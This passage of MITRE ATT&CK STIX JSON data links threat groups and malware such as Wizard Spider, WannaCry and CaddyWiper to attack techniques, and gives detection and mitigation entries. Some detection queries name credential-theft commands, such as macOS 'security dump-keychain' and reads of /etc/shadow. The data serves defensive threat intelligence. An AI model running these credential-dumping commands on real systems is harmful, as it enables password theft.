2020","url":"https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html","description":"Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020."}],"modified":"2020-11-10T16:49:12.555Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has established persistence using Userinit by adding the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon.(Citation: FireEye KEGTAP SINGLEMALT October 2020)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--79e99ff9-f39b-411f-86ba-0b46a3afe7dc","created":"2022-04-18T17:56:55.495Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-15T13:43:15.870Z","description":"Monitor processes spawned by command line utilities to manipulate keychains directly, such as security, combined with arguments to collect passwords, such as dump-keychain -d.\n\nAnalytic 1 - New processes with parameters indicating attempts to manipulate keychains.\n\nindex=security sourcetype=\"macos_secure\" event_type=\"process\"\n(CommandLine IN (\"*security dump-keychain*\", \"*security find-generic-password*\", \"*security find-internet-password*\", \"*security unlock-keychain*\", \"*security delete-keychain*\", \"*security set-keychain-settings*\", \"*security add-internet-password*\", \"*security add-generic-password*\", \"*security import*\", \"*security export*\")) ","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--79ecf1f6-a17d-4374-a84c-811669e39261","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Baumgartner Naikon 2015","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}],"modified":"2019-04-25T02:48:47.519Z","description":"To establish persistence, [SslMM](https://attack.mitre.org/software/S0058) identifies the Start Menu Startup directory and drops a link to its own executable disguised as an “Office Start,” “Yahoo Talk,” “MSN Gaming Z0ne,” or “MSN Talk” shortcut.(Citation: Baumgartner Naikon 2015)","relationship_type":"uses","source_ref":"malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421","target_ref":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--79f0712b-2cb1-47df-8ea1-26fb1502a831","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forcepoint Monsoon","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"},{"source_name":"PaloAlto Patchwork Mar 2018","description":"Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/"},{"source_name":"TrendMicro Patchwork Dec 2017","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"}],"modified":"2020-03-20T18:06:28.619Z","description":"[BADNEWS](https://attack.mitre.org/software/S0128) encodes C2 traffic with base64.(Citation: Forcepoint Monsoon)(Citation: PaloAlto Patchwork Mar 2018)(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"malware--e9595678-d269-469e-ae6b-75e49259de63","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--79f7d5d7-acbf-4f7e-8530-2f7e637580cd","type":"relationship","created":"2020-08-10T13:16:15.132Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelOne Lazarus macOS July 2020","url":"https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/","description":"Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple’s macOS Platform. Retrieved August 7, 2020."},{"source_name":"TrendMicro macOS Dacls May 2020","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability/","description":"Mabutas, G. (2020, May 11). New MacOS Dacls RAT Backdoor Shows Lazarus’ Multi-Platform Attack Capability. Retrieved August 10, 2020."}],"modified":"2020-08-10T14:45:34.710Z","description":"(Citation: SentinelOne Lazarus macOS July 2020)(Citation: TrendMicro macOS Dacls May 2020)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"malware--3aa169f8-bbf6-44bb-b57d-7f6ada5c2128","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--79f89b33-046c-4bfa-a12d-c50fa0d84ea6","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Magic Hound Feb 2017","description":"Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"}],"modified":"2020-03-20T21:19:17.635Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) malware can use a SOAP Web service to communicate with its C2 server.(Citation: Unit 42 Magic Hound Feb 2017)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--79fa693d-38b2-4730-8602-1f72eef5ce23","created":"2022-03-30T14:26:51.876Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for user accounts logging into the system via [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user. ","modified":"2022-04-20T03:04:56.007Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--79fb0138-8963-4951-a778-fc9b90150851","type":"relationship","created":"2022-03-24T13:41:47.373Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco CaddyWiper March 2022","url":"https://blog.talosintelligence.com/2022/03/threat-advisory-caddywiper.html","description":"Malhotra, A. (2022, March 15). Threat Advisory: CaddyWiper. Retrieved March 23, 2022."}],"modified":"2022-03-24T13:41:47.373Z","description":"[CaddyWiper](https://attack.mitre.org/software/S0693) can modify ACL entries to take ownership of files.(Citation: Cisco CaddyWiper March 2022)","relationship_type":"uses","source_ref":"malware--b30d999d-64e0-4e35-9856-884e4b83d611","target_ref":"attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--79fd974c-b51b-45d4-b220-6f532ec6bc63","type":"relationship","created":"2021-06-18T15:26:55.685Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Siloscape Jun 2021","url":"https://unit42.paloaltonetworks.com/siloscape/","description":"Prizmant, D. (2021, June 7). Siloscape: First Known Malware Targeting Windows Containers to Compromise Cloud Environments. Retrieved June 9, 2021."}],"modified":"2021-06-18T15:26:55.685Z","description":"[Siloscape](https://attack.mitre.org/software/S0623) connects to an IRC server for C2.(Citation: Unit 42 Siloscape Jun 2021)","relationship_type":"uses","source_ref":"malware--4fbd565b-bf55-4ac7-80b4-b183a7b64b9c","target_ref":"attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7a00e481-ffd9-4f9b-8668-662cbd5c0628","created":"2022-03-30T14:26:51.832Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T16:19:06.396Z","description":"Monitor for files being accessed that may attempt to dump the contents of /etc/passwd and /etc/shadow to enable offline password cracking. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes attempting to access /etc/passwd and /etc/shadow, alerting on the pid, process name, and arguments of such programs.\n\nAnalytic 1 - Unauthorized access to /etc/passwd and /etc/shadow.\n\n index=os sourcetype=\"linux_audit\" file IN (\"/etc/passwd\", \"/etc/shadow\") ","relationship_type":"detects","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--d0b4fcdb-d67d-4ed2-99ce-788b12f8c0f4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7a012427-6f85-45b5-b1b2-439c72f7efb4","created":"2023-08-30T16:31:23.834Z","revoked":false,"external_references":[{"source_name":"Shlayer jamf gatekeeper bypass 2021","description":"Jaron Bradley. (2021, April 26). Shlayer malware abusing Gatekeeper bypass on macOS. Retrieved September 22, 2021.","url":"https://www.jamf.com/blog/shlayer-malware-abusing-gatekeeper-bypass-on-macos/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-30T16:31:23.834Z","description":"[OSX/Shlayer](https://attack.mitre.org/software/S0402) has used the `nohup` command to instruct executed payloads to ignore hangup signals.(Citation: Shlayer jamf gatekeeper bypass 2021)","relationship_type":"uses","source_ref":"malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7","target_ref":"attack-pattern--4a2975db-414e-4c0c-bd92-775987514b4b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7a054a81-bee9-4429-b00e-0c45c88f06d0","created":"2024-09-23T22:28:23.236Z","revoked":false,"external_references":[{"source_name":"therecord_redcurl","description":"Antoniuk, D. (2023, July 17). RedCurl hackers return to spy on 'major Russian bank,' Australian company. Retrieved August 9, 2024.","url":"https://therecord.media/redcurl-hackers-russian-bank-australian-company"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T22:28:23.236Z","description":"[RedCurl](https://attack.mitre.org/groups/G1039) has created its own tools to use during operations.(Citation: therecord_redcurl)","relationship_type":"uses","source_ref":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","target_ref":"attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7a097ec6-c379-4aef-849e-fe7d9ea1e7d1","type":"relationship","created":"2021-03-01T21:55:30.002Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CERT-FR PYSA April 2020","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf","description":"CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021."}],"modified":"2021-03-01T21:55:30.002Z","description":"[Pysa](https://attack.mitre.org/software/S0583) has modified the registry key “SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System” and added the ransom note.(Citation: CERT-FR PYSA April 2020) ","relationship_type":"uses","source_ref":"malware--a19c1197-9414-46e3-986f-0f609ff4a46b","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7a0baa06-e3f1-4488-a0f6-ecf405413679","created":"2020-06-23T00:42:36.296Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"McAfee Sharpshooter December 2018","description":"Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020.","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T19:52:23.849Z","description":"[Rising Sun](https://attack.mitre.org/software/S0448) has used HTTP and HTTPS for command and control.(Citation: McAfee Sharpshooter December 2018)","relationship_type":"uses","source_ref":"malware--56e6b6c2-e573-4969-8bab-783205cebbbf","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7a0da394-d797-4649-b9bf-1b5822ca3467","created":"2024-09-16T08:47:21.074Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T08:47:21.074Z","description":"[DUSTTRAP](https://attack.mitre.org/software/S1159) can retrieve and load additional payloads.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"malware--33139388-de0c-49ff-862a-041c315b142d","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7a0efacc-7005-4f1e-9fb8-047d8b703cf8","created":"2024-03-01T15:29:46.757Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-01T15:29:46.757Z","description":"Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7a116d1c-33ab-4729-abff-2e37dc387f31","type":"relationship","created":"2019-03-26T13:38:24.559Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.","url":"https://www.secureworks.com/research/wcry-ransomware-analysis","source_name":"SecureWorks WannaCry Analysis"}],"modified":"2019-04-22T11:43:33.445Z","description":"[WannaCry](https://attack.mitre.org/software/S0366) scans its local network segment for remote systems to try to exploit and copy itself to.(Citation: SecureWorks WannaCry Analysis)","relationship_type":"uses","source_ref":"malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7a117c20-6bb1-40b7-90c7-f8a01a987921","created":"2023-01-17T22:12:20.622Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Costa AvosLocker May 2022","description":"Costa, F. (2022, May 1). RaaS AvosLocker Incident Response Analysis. Retrieved January 11, 2023.","url":"https://www.linkedin.com/pulse/raas-avoslocker-incident-response-analysis-fl%C3%A1vio-costa?trk=articles_directory"},{"source_name":"Cisco Talos Avos Jun 2022","description":"Venere, G. Neal, C. (2022, June 21). Avos ransomware group expands with new attack arsenal. Retrieved January 11, 2023.","url":"https://blog.talosintelligence.com/avoslocker-new-arsenal/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-10T20:10:26.783Z","description":"(Citation: Cisco Talos Avos Jun 2022)(Citation: Costa AvosLocker May 2022)","relationship_type":"uses","source_ref":"campaign--519ee082-8ab6-439b-988f-a8a3f02c8d30","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7a181608-6005-4d42-b4a2-0e2de8b8ff95","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft PLATINUM April 2016","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}],"modified":"2020-03-16T16:57:39.016Z","description":"[JPIN](https://attack.mitre.org/software/S0201) can obtain the victim user name.(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"malware--de6cb631-52f6-4169-a73b-7965390b0c30","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7a1a5bda-170c-44fd-8094-7f78b7f803c9","type":"relationship","created":"2019-05-07T17:47:25.127Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Recon Snake Nest","url":"https://recon.cx/2018/brussels/resources/slides/RECON-BRX-2018-Visiting-The-Snake-Nest.pdf","description":"Boutin, J. and Faou, M. (2018). Visiting the snake nest. Retrieved May 7, 2019."}],"modified":"2020-03-18T19:55:30.854Z","description":"[Epic](https://attack.mitre.org/software/S0091) has overwritten the function pointer in the extra window memory of Explorer's Shell_TrayWnd in order to execute malicious code in the context of the explorer.exe process.(Citation: ESET Recon Snake Nest)","relationship_type":"uses","source_ref":"malware--6b62e336-176f-417b-856a-8552dd8c44e1","target_ref":"attack-pattern--0042a9f5-f053-4769-b3ef-9ad018dfa298","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7a1b9942-4be4-4460-86b0-88638a1c4944","created":"2023-08-08T19:30:16.396Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-23T14:27:13.273Z","description":"Threat intelligence helps defenders and users be aware of and defend against common lures and active campaigns that have been used for impersonation.","relationship_type":"mitigates","source_ref":"course-of-action--874c0166-e407-45c2-a1d9-e4e3a6570fd8","target_ref":"attack-pattern--c9e0c59e-162e-40a4-b8b1-78fab4329ada","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7a1cf82e-68e5-49ca-89ae-e492cd85dab4","created":"2019-10-14T16:25:38.680Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Evilginx 2 July 2018","description":"Gretzky, K.. (2018, July 26). Evilginx 2 - Next Generation of Phishing 2FA Tokens. Retrieved October 14, 2019.","url":"https://breakdev.org/evilginx-2-next-generation-of-phishing-2fa-tokens/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-07T22:29:54.986Z","description":"A physical second factor key that uses the target login domain as part of the negotiation protocol will prevent session cookie theft through proxy methods.(Citation: Evilginx 2 July 2018)\n\nImplement Conditional Access policies with Token Protection to bind session tokens to their originating device and user. This reduces the risk of session cookie theft by ensuring that stolen tokens cannot be reused from unauthorized locations or devices.","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7a1dd7b6-f759-4580-b658-e1b5abf12d89","type":"relationship","created":"2021-09-21T15:45:10.170Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-10-18T13:19:48.347Z","description":"[Turian](https://attack.mitre.org/software/S0647) can establish persistence by adding Registry Run keys.(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"malware--350f12cf-fd3b-4dad-b323-14b943090df4","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7a1e325a-a1ca-47cb-97fa-8275bfb3c201","created":"2022-03-30T14:26:51.877Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Twitter SquiblyTwo Detection APR 2018","description":"Desimone, J. (2018, April 18). Status Update. Retrieved September 12, 2024.","url":"https://x.com/dez_/status/986614411711442944"},{"source_name":"LOLBAS Wmic","description":"LOLBAS. (n.d.). Wmic.exe. Retrieved July 31, 2019.","url":"https://lolbas-project.github.io/lolbas/Binaries/Wmic/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:40:12.337Z","description":"Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. (Citation: LOLBAS Wmic) (Citation: Twitter SquiblyTwo Detection APR 2018) Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded. The presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7a1e7afa-7052-4e47-8725-66e485efda43","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forcepoint Monsoon","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"}],"modified":"2020-03-16T19:50:03.317Z","description":"[Unknown Logger](https://attack.mitre.org/software/S0130) can obtain information about the victim's IP address.(Citation: Forcepoint Monsoon)","relationship_type":"uses","source_ref":"malware--ab3580c8-8435-4117-aace-3d9fbe46aa56","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7a20546a-c6be-4c1b-8b41-23cfb551f933","type":"relationship","created":"2019-07-18T19:06:27.491Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-12-11T17:00:01.191Z","description":"Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network.","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7a255276-de2b-466b-bb8c-f274e7b4adae","created":"2024-05-23T22:50:27.287Z","revoked":false,"external_references":[{"source_name":"Cadet Blizzard emerges as novel threat actor","description":"Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-23T22:50:27.287Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) uses remotely scheduled tasks to facilitate remote command execution on victim machines.(Citation: Cadet Blizzard emerges as novel threat 